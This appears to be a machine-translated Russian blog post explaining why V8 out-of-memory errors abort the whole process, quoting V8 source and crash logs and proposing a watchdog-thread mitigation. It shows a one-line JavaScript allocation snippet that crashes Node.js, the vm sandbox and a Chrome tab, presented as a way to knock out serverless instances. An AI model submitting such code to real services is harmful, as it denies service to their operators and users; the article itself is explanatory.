Serverless в Node.js — это способ разработки и развертывания приложений, не требующий традиционной серверной инфраструктуры. Вместо этого ваш код выполняется по мере необходимости, а базовой инфраструктурой управляет облачный провайдер, такой как AWS, Azure или Google Cloud Platform. Это может дать ряд преимуществ, включая экономию средств, масштабируемость, отказоустойчивость и т. д.
В этой статье я не буду говорить о таких распространенных проблемах безопасности, как уязвимости, связанные с внедрением, нарушенной аутентификацией и авторизацией, небезопасном хранении данных, небезопасном ведении журналов и мониторинге и т. поведение V8.
Как V8 обрабатывает OOM?
Почему меня интересует, как V8 справляется с OOM? Потому что пользователь подал проблему в моем проекте с открытым исходным кодом Javet, описав, что он столкнулся с проблемой нехватки памяти (OOM) в V8, и эта OOM вывела из строя всю JVM. Он хотел бы предотвратить сбой JVM, когда происходит OOM. Я потратил несколько часов на просмотр исходного кода V8 (v115) и Node.js (v18) и обнаружил, что это невозможно.
Давайте внимательнее посмотрим на v8/src/api/api.cc
.
void i::V8::FatalProcessOutOfMemory( i::Isolate* i_isolate, const char* location, const OOMDetails& details) { // ... if (isolate_is_not_found) { FATAL("Fatal process out of memory: %s", location); } // ... if (isolate_heap_has_been_set_up) { // Print stats } Utils::ReportOOMFailure(i_isolate, location, details); if (g_oom_error_callback) g_oom_error_callback(location, details); // If the fatal error handler returns, we stop execution. FATAL("API fatal error handler returned after process out of memory"); }
Согласно FatalProcessOutOfMemory()
, V8 оставляет обратный вызов g_oom_error_callback()
для приложения, чтобы прослушивать событие OOM. Однако приложение не может предотвратить выполнение FATAL()
. Что внутри FATAL()
?
void V8_Fatal(const char* format, ...) { // ... fflush(stderr); v8::base::OS::Abort(); }
FATAL()
сбрасывает stderr
, затем звонит Abort()
. Таким образом, Chrome, Node.js, Javet или некоторые другие приложения на основе V8 имеют одинаковое поведение: они аварийно завершают работу, когда происходит OOM.
Как легко сломать Serverless в Node.js?
По-видимому, любой код, который может вызвать OOM, приведет к сбою экземпляра без сервера, и нет простого способа предотвратить это.
Сбой Node.js с помощью одной строки кода
Следующая строка кода является хорошим примером того, как быстро вызвать OOM.
[... new Array(1000000000).keys()]
Node.js аварийно завершает работу через несколько секунд. Я пробовал всевозможные способы предотвратить этот сбой, и я потерпел неудачу.
<--- Last few GCs ---> [58128:000001990EFB8410] 3278 ms: Scavenge 818.1 (835.6) -> 802.4 (835.6) MB, 0.1 / 0.0 ms (average mu = 0.904, current mu = 0.912) allocation failure; [58128:000001990EFB8410] 3285 ms: Scavenge 818.1 (835.6) -> 802.4 (835.6) MB, 0.2 / 0.0 ms (average mu = 0.904, current mu = 0.912) allocation failure; [58128:000001990EFB8410] 3292 ms: Scavenge 818.1 (835.6) -> 802.4 (835.6) MB, 0.1 / 0.0 ms (average mu = 0.904, current mu = 0.912) allocation failure; <--- JS stacktrace ---> FATAL ERROR: invalid array length Allocation failed - JavaScript heap out of memory 1: 00007FF6D0CC060F node_api_throw_syntax_error+203711 2: 00007FF6D0C40FB6 v8::base::CPU::num_virtual_address_bits+63542 3: 00007FF6D0C42322 v8::base::CPU::num_virtual_address_bits+68514 4: 00007FF6D16E16A4 v8::Isolate::ReportExternalAllocationLimitReached+116 5: 00007FF6D16CCA12 v8::Isolate::Exit+674 6: 00007FF6D154EA6C v8::internal::EmbedderStackStateScope::ExplicitScopeForTesting+124 7: 00007FF6D1264265 v8::internal::DateCache::Weekday+4309 8: 00007FF6D177ED31 v8::internal::SetupIsolateDelegate::SetupHeap+558193 9: 00007FF6D174FE38 v8::internal::SetupIsolateDelegate::SetupHeap+365944 10: 00007FF6D1820B65 v8::internal::SetupIsolateDelegate::SetupHeap+1221285 11: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 12: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 13: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 14: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 15: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 16: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 17: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 18: 00007FF6D1700D50 v8::internal::SetupIsolateDelegate::SetupHeap+42128 19: 00007FF6D170094B v8::internal::SetupIsolateDelegate::SetupHeap+41099 20: 00007FF6D15CB262 v8::internal::Execution::CallWasm+1522 21: 00007FF6D15CAA8F v8::internal::Execution::Call+191 22: 00007FF6D16C3202 v8::Function::Call+466 23: 00007FF6D0C7D6FC node::Start+572 24: 00007FF6D0C7DAE4 node::Start+1572 25: 00007FF6D0CEB599 node::LoadEnvironment+89 26: 00007FF6D0BF8DA4 std::basic_ios<char,std::char_traits<char> >::setstate+126180 27: 00007FF6D0C7BFD8 node::InitializeNodeWithArgs+7720 28: 00007FF6D0C7D587 node::Start+199 29: 00007FF6D0A9743C CRYPTO_memcmp+439500 30: 00007FF6D1CACC88 v8::internal::compiler::ToString+14584 31: 00007FF9E7867614 BaseThreadInitThunk+20 32: 00007FF9E8B026B1 RtlUserThreadStart+33
Сбой Node.js с модулем vm
Подождите, у Node.js есть песочница, и может ли она предотвратить сбой? Нет, песочница по-прежнему размещается на V8, поэтому она тоже дает сбой. Просто запустите следующий код.
const vm = require('vm'); const context = {}; vm.createContext(context); vm.runInContext('[... new Array(1000000000).keys()]', context);
Сообщение о сбое выглядит следующим образом.
<--- Last few GCs ---> [22320:000001FF3AD2E390] 3276 ms: Scavenge 818.2 (835.9) -> 802.5 (835.9) MB, 0.1 / 0.0 ms (average mu = 0.909, current mu = 0.910) allocation failure; [22320:000001FF3AD2E390] 3284 ms: Scavenge 818.2 (835.9) -> 802.5 (835.9) MB, 0.1 / 0.0 ms (average mu = 0.909, current mu = 0.910) allocation failure; [22320:000001FF3AD2E390] 3291 ms: Scavenge 818.2 (835.9) -> 802.5 (835.9) MB, 0.1 / 0.0 ms (average mu = 0.909, current mu = 0.910) allocation failure; <--- JS stacktrace ---> FATAL ERROR: invalid array length Allocation failed - JavaScript heap out of memory 1: 00007FF6D0CC060F node_api_throw_syntax_error+203711 2: 00007FF6D0C40FB6 v8::base::CPU::num_virtual_address_bits+63542 3: 00007FF6D0C42322 v8::base::CPU::num_virtual_address_bits+68514 4: 00007FF6D16E16A4 v8::Isolate::ReportExternalAllocationLimitReached+116 5: 00007FF6D16CCA12 v8::Isolate::Exit+674 6: 00007FF6D154EA6C v8::internal::EmbedderStackStateScope::ExplicitScopeForTesting+124 7: 00007FF6D1264265 v8::internal::DateCache::Weekday+4309 8: 00007FF6D177ED31 v8::internal::SetupIsolateDelegate::SetupHeap+558193 9: 00007FF6D174FE38 v8::internal::SetupIsolateDelegate::SetupHeap+365944 10: 00007FF6D1820B65 v8::internal::SetupIsolateDelegate::SetupHeap+1221285 11: 00007FF6D1702744 v8::internal::SetupIsolateDelegate::SetupHeap+48772 12: 00007FF6D1700D50 v8::internal::SetupIsolateDelegate::SetupHeap+42128 13: 00007FF6D170094B v8::internal::SetupIsolateDelegate::SetupHeap+41099 14: 00007FF6D15CB262 v8::internal::Execution::CallWasm+1522 15: 00007FF6D15CAC4C v8::internal::Execution::CallScript+156 16: 00007FF6D16E216B v8::Script::Run+1323 17: 00007FF6D16E1C31 v8::Script::Run+17 18: 00007FF6D0C4D95E node::OnFatalError+46638 19: 00007FF6D0C50C50 node::OnFatalError+59680
Сбой Chrome
Поскольку в Chrome используется процесс для каждой вкладки, сбой V8 в одном процессе Chrome не повлияет на другие процессы, и влияние будет ограничено только одной вкладкой. Просто следуйте инструкциям ниже.
- Откройте новую вкладку Chrome.
- Нажмите F12, чтобы открыть DevTools.
- Перейдите к консоли.
- Вставьте
[... new Array(1000000000).keys()]
и нажмите Enter. - Подождите, пока Chrome не выйдет из строя.
Как смягчить ООМ?
Очистите код
По моему скромному мнению, практически невозможно идентифицировать вредоносный код, который может быть одним из следующих.
// Sample 1 [... new Array(1000000000).keys()] // Sample 2 const buffers = []; for (let i = 0; i < 1000000000; i++) { buffers.push(i); }
Я не вижу, как эффективно идентифицировать вредоносный код, если не создать виртуальную среду выполнения для оценки сценария. Подождите, разве V8 не обеспечивает виртуальную среду выполнения? Но V8 с этим не справится.
Я надеюсь, что команда разработчиков V8 сможет решить эту проблему и найти способ поднять Error
вместо сбоя приложения.
Демоническая нить
Быстрый и грязный способ — запустить поток демона, периодически профилирующий V8 для использования памяти кучи. Если этот поток демона обнаруживает, что использование памяти кучи превышает пороговое значение, он вызывает Isolate::TerminateExecution()
, чтобы поднять Error
.
Это связано с накладными расходами на производительность, поскольку чем выше частота, с которой он профилируется, чем больше циклов ЦП требуется, тем меньше сбоев произойдет. И наоборот.
Заключение
Злоумышленнику просто нужно отправить крошечное лямбда-выражение, чтобы разрушить бессерверный экземпляр. Перед сбоем бессерверного экземпляра этот экземпляр на несколько секунд исчерпывает одно ядро сервера, выделяя память как можно больше и быстрее. Это был бы очень эффективный способ истощения ресурсов сервера с очень небольшой полезной нагрузкой. И до сих пор не существует эффективных способов его предотвращения.